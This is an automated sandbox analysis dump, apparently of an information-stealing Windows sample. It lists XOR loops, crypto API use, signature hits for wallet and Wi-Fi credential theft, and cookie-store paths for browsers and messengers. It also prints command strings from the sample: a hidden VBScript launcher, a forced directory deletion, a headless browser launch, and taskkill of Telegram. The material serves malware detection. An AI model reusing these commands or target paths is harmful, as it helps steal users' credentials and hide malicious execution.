"00000000-00004616.00000001.150763.D1843000.00000002.mdmp")30:T1889,Assembly shows XOR instruction xor al 3Eh in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-28h] 37h in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-27h] 38h in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-26h] 39h in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-25h] 3Ah in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-24h] 3Bh in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-23h] 3Ch in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rbp-22h] 3Dh in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [r8-01h] al in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor byte ptr [rax-01h] al in Stream UID: 26015-1340-0000000140150EC0 Assembly shows XOR instruction xor rax qword ptr [rcx] in Stream UID: 26015-1343-00000001400E9F40 Assembly shows XOR instruction xor eax dword ptr [rcx] in Stream UID: 26015-1343-00000001400E9F40 Assembly shows XOR instruction xor al byte ptr [rdx] in Stream UID: 26015-1343-00000001400E9F40 Assembly shows XOR instruction xor sil 01h in Stream UID: 26015-1343-00000001400E9F40 Assembly shows XOR instruction xor dh 01h in Stream UID: 26015-1343-00000001400E9F40 Assembly shows XOR instruction xor eax dword ptr [rax] in Stream UID: 26015-1400-0000000140108390 Assembly shows XOR instruction xor ecx 01h in Stream UID: 26015-1499-000000014001C790 Assembly shows XOR instruction xor cl byte ptr [rdi] in Stream UID: 26015-1593-0000000140144480 Assembly shows XOR instruction xor eax r8d in Stream UID: 26015-1698-00000001400ED620 Assembly shows XOR instruction xor word ptr [r9-02h] ax in Stream UID: 26015-1698-00000001400ED620 Assembly shows XOR instruction xor dword ptr [rcx-02h] eax in Stream UID: 26015-1698-00000001400ED620 Assembly shows XOR instruction xor ecx r8d in Stream UID: 26015-1698-00000001400ED620 Assembly shows XOR instruction xor ecx eax in Stream UID: 26015-1698-00000001400ED620 Assembly shows XOR instruction xor eax r8d in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor word ptr [r9-02h] ax in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor dword ptr [rcx-02h] eax in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor word ptr [r10-02h] ax in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor dword ptr [rdx-02h] eax in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor ecx r8d in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor ecx eax in Stream UID: 26015-1747-00000001400EEC70 Assembly shows XOR instruction xor ebx eax in Stream UID: 26015-1785-00000001400E5010 Assembly shows XOR instruction xor ebx eax in Stream UID: 26015-1792-00000001400DEEC0 Assembly shows XOR instruction xor ebx eax in Stream UID: 26015-5730-00000001400E6646 Assembly shows XOR instruction xor eax r8d in Stream UID: 26015-5955-00000001400F4B90 Assembly shows XOR instruction xor ecx r8d in Stream UID: 26015-5955-00000001400F4B90 Assembly shows XOR instruction xor ecx eax in Stream UID: 26015-5955-00000001400F4B90 Assembly shows XOR instruction xor eax 5Ch in Stream UID: 26015-6528-0000000140119396 Assembly shows XOR instruction xor dl 5Ch in Stream UID: 26015-6528-0000000140119396 Assembly shows XOR instruction xor al 00h in Stream UID: 26015-7118-000000014013FADD Assembly shows XOR instruction xor byte ptr [r8-01h] al in Stream UID: 26015-7521-0000000140152584 Assembly shows XOR instruction xor byte ptr [rax-01h] al in Stream UID: 26015-7521-0000000140152584 Assembly shows XOR instruction xor eax 0006336Fh in Stream UID: 26015-7719-000000014015F8C6 Assembly shows XOR instruction xor eax 89480000h in Stream UID: 26015-7960-00000001401719D3 Assembly shows XOR instruction xor eax 84C70000h in Stream UID: 26015-7960-00000001401719D3 Assembly shows XOR instruction xor eax 00680000h in Stream UID: 26015-7960-00000001401719D3 Assembly shows XOR instruction xor eax dword ptr [rax] in Stream UID: 26015-7966-0000000140172410 Assembly shows XOR instruction xor dword ptr [rax] eax in Stream UID: 26015-7974-0000000140172C18 Assembly shows XOR instruction xor edx r9d in Stream UID: 26015-8065-000000014017792B Assembly shows XOR instruction xor edx ecx in Stream UID: 26015-8065-000000014017792B Assembly shows XOR instruction xor rcx rsp in Stream UID: 26015-8124-000000014017B744 Assembly shows XOR instruction xor ecx esp in Stream UID: 26015-8124-000000014017B744 Assembly shows XOR instruction xor rcx rsp in Stream UID: 26015-8126-000000014017B848 Assembly shows XOR instruction xor ecx esp in Stream UID: 26015-8126-000000014017B848 Assembly shows XOR instruction xor rax rsp in Stream UID: 26015-8161-000000014017DCD6 Assembly shows XOR instruction xor eax esp in Stream UID: 26015-8161-000000014017DCD6 Assembly shows XOR instruction xor rcx rsp in Stream UID: 26015-8161-000000014017DCD6 Assembly shows XOR instruction xor ecx esp in Stream UID: 26015-8161-000000014017DCD6 Assembly shows XOR instruction xor rax rsp in Stream UID: 26015-8497-0000000140197646 Assembly shows XOR instruction xor eax esp in Stream UID: 26015-8497-0000000140197646 Assembly shows XOR instruction xor rcx rsp in Stream UID: 26015-8497-0000000140197646 Assembly shows XOR instruction xor ecx esp in Stream UID: 26015-8497-0000000140197646 Assembly shows XOR instruction xor rax rsp in Stream UID: 26015-8508-0000000140197AD7 Assembly shows XOR instruction xor eax esp in Stream UID: 26015-8508-0000000140197AD7 Assembly shows XOR instruction xor rcx rsp in Stream UID: 26015-8508-0000000140197AD7 Assembly shows XOR instruction xor ecx esp in Stream UID: 26015-8508-0000000140197AD7 Assembly shows XOR instruction xor al byte ptr [rcx+rdx*8+3Dh] in Stream UID: 26015-8593-000000014019CFC3 Assembly shows XOR instruction xor byte ptr [rcx+rdx*8+3Dh] al in Stream UID: 26015-8593-000000014019CFC331:Taf4,Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptHashData" (Indicator: "CryptHashData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptMsgClose" (Indicator: "CryptMsgClose"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CertGetNameStringA" (Indicator: "CertGetNameString"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CertCloseStore" (Indicator: "CertCloseStore"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDecrypt" (Indicator: "BCryptDecrypt"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDecrypt" (Indicator: "CryptDecrypt"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDestroyKey" (Indicator: "BCryptDestroyKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptDestroyKey" (Indicator: "CryptDestroyKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptGenerateSymmetricKey" (Indicator: "BCryptGenerateSymmetricKey"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "BCryptSetProperty" (Indicator: "BCryptSetProperty"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin")32:T439,Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptHashData" (Indicator: "CryptHashData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptGetHashParam" (Indicator: "CryptGetHashParam"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "CryptUnprotectData" (Indicator: "CryptUnprotectData"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin")33:T5ab,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains asymmetric cryptographic functions (API string) Matched sigs: Found Crypto currency wallets related strings Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: Able to access crypto wallet extension (string) Matched sigs: Contains CRYPTO related strings Matched sigs: Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh Matched sigs: Contains reference to crypto DLLs Matched sigs: HTTP requests contain Base64 strings Matched sigs: Uses Windows cryptography API for obfuscation Matched sigs: Imports crypto-related APIs Matched sigs: Contains key cryptographic functions of the CryptoAPI Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains cryptographic functions of the CryptoAPI Matched sigs: YARA signature match – cryptographic algorithms34:T13fd,Found XOR loop in file "sample.bin" at offset 4072; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 401996; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 519656; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 799978; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 800002; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 800029; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836107; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836147; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836166; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836185; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 836204; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837158; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837178; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837198; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837218; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837339; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837359; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837736; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 837908; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 838374; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 838411; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1903291; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2072024; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 35729; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 37721; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 37838; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 239847; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 239852; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 239875; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 239880; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 426599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 426604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880663; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880709; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880755; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880801; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880847; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 880907; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881056; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881102; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881147; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881193; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881239; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881285; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881331; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881377; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881423; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881469; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881515; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881561; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881607; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881657; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881685; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 881738; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 882912; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 883048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1039789; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1039822; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1342937; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1342970; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1343003; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1343417; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1343450; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1343483; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1548111; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1610354; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1610373; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 982748; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1503502; code bytes = 803035:T432,Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "GetLastInputInfo" (Indicator: "GetLastInputInfo"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "GetCursorPos" (Indicator: "GetCursorPos"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "GetLastInputInfo" (Indicator: "GetLastInputInfo"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")36:T4f6,Found string "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "Software\Microsoft\Windows\CurrentVersion\Uninstall" (Indicator: "software\microsoft\windows\currentversion\uninstall"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")37:T71e,Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpaceEx"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExA" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")38:Tbb2,Found string "%s\%s\cookies.sqlite" (Indicator: "cookies.sqlite"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s\cookies.sqlite" (Indicator: "cookies.sqlite"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s/Cookies_Extensions.json" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s/Cookies_Extensions.txt" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "moz_cookies" (Indicator: "moz_cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s/Cookies.json" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s/Cookies.txt" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Messengers/Slack/Cookies" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Messengers/Teams/Cookies" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Messengers/TeamsNew/Cookies" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Messengers/Guilded/Cookies" (Indicator: "/cookies"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "%s\%s\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "%s\cookies.sqlite" (Indicator: "cookies.sqlite"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "%s/Cookies_Extensions.json" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "%s/Cookies_Extensions.txt" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "moz_cookies" (Indicator: "moz_cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "%s/Cookies.json" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "%s/Cookies.txt" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "Messengers/Slack/Cookies" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "Messengers/Teams/Cookies" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "Messengers/TeamsNew/Cookies" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found string "Messengers/Guilded/Cookies" (Indicator: "/cookies"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")39:Ta8f,Found system information discovery API: "GetSystemInfo" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "ExpandEnvironmentStringsW" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "GetEnvironmentStringsW" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "GetMonitorInfoA" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "GetUserObjectInformationA" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "GetNativeSystemInfo" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "NtQuerySystemInformation" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "Set s = CreateObject("WScript.Shell")p = s.ExpandEnvironmentStrings("%%LOCALAPPDATA%%") & "\Microsoft\%s\%s"If CreateObject("Scripting.FileSystemObject").FileExists(p) Then s.Run p, 0" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "Handle enumeration requires NtQuerySystemInformation" in file "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin" Found system information discovery API: "GetSystemInfo" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "p = s.ExpandEnvironmentStrings("%%LOCALAPPDATA%%") & "\Microsoft\%s\%s"" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "Handle enumeration requires NtQuerySystemInformation" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "GetMonitorInfoA" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "GetUserObjectInformationA" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "ExpandEnvironmentStringsW" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00004616.00000001.150763.D1843000.00000002.mdmp"3a:T8c8,Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FindWindowExA" (Indicator: "findwindow"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found reference to API "FindWindowA" (Indicator: "findwindow"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004616.00000001.150763.D1843000.00000002.mdmp")3b:T775,"nul" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c rd /s /q "%s"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "Conhost --headless cmd.exe /c start "" "%s" --user-data-dir="%s"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Telegram.exe /F & "%s\Telegram Desktop\Telegram.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string "cmd.exe /c taskkill /IM Ayugram.exe /F & "%s\Ayugram Desktop\Ayugram.exe"" (Indicator: "cmd.exe /c"; File: "d1a1e6a2c0adc45a4cf40128e683499cd984d5803ad2e3a1ce26768a612eaec2.bin") Found string 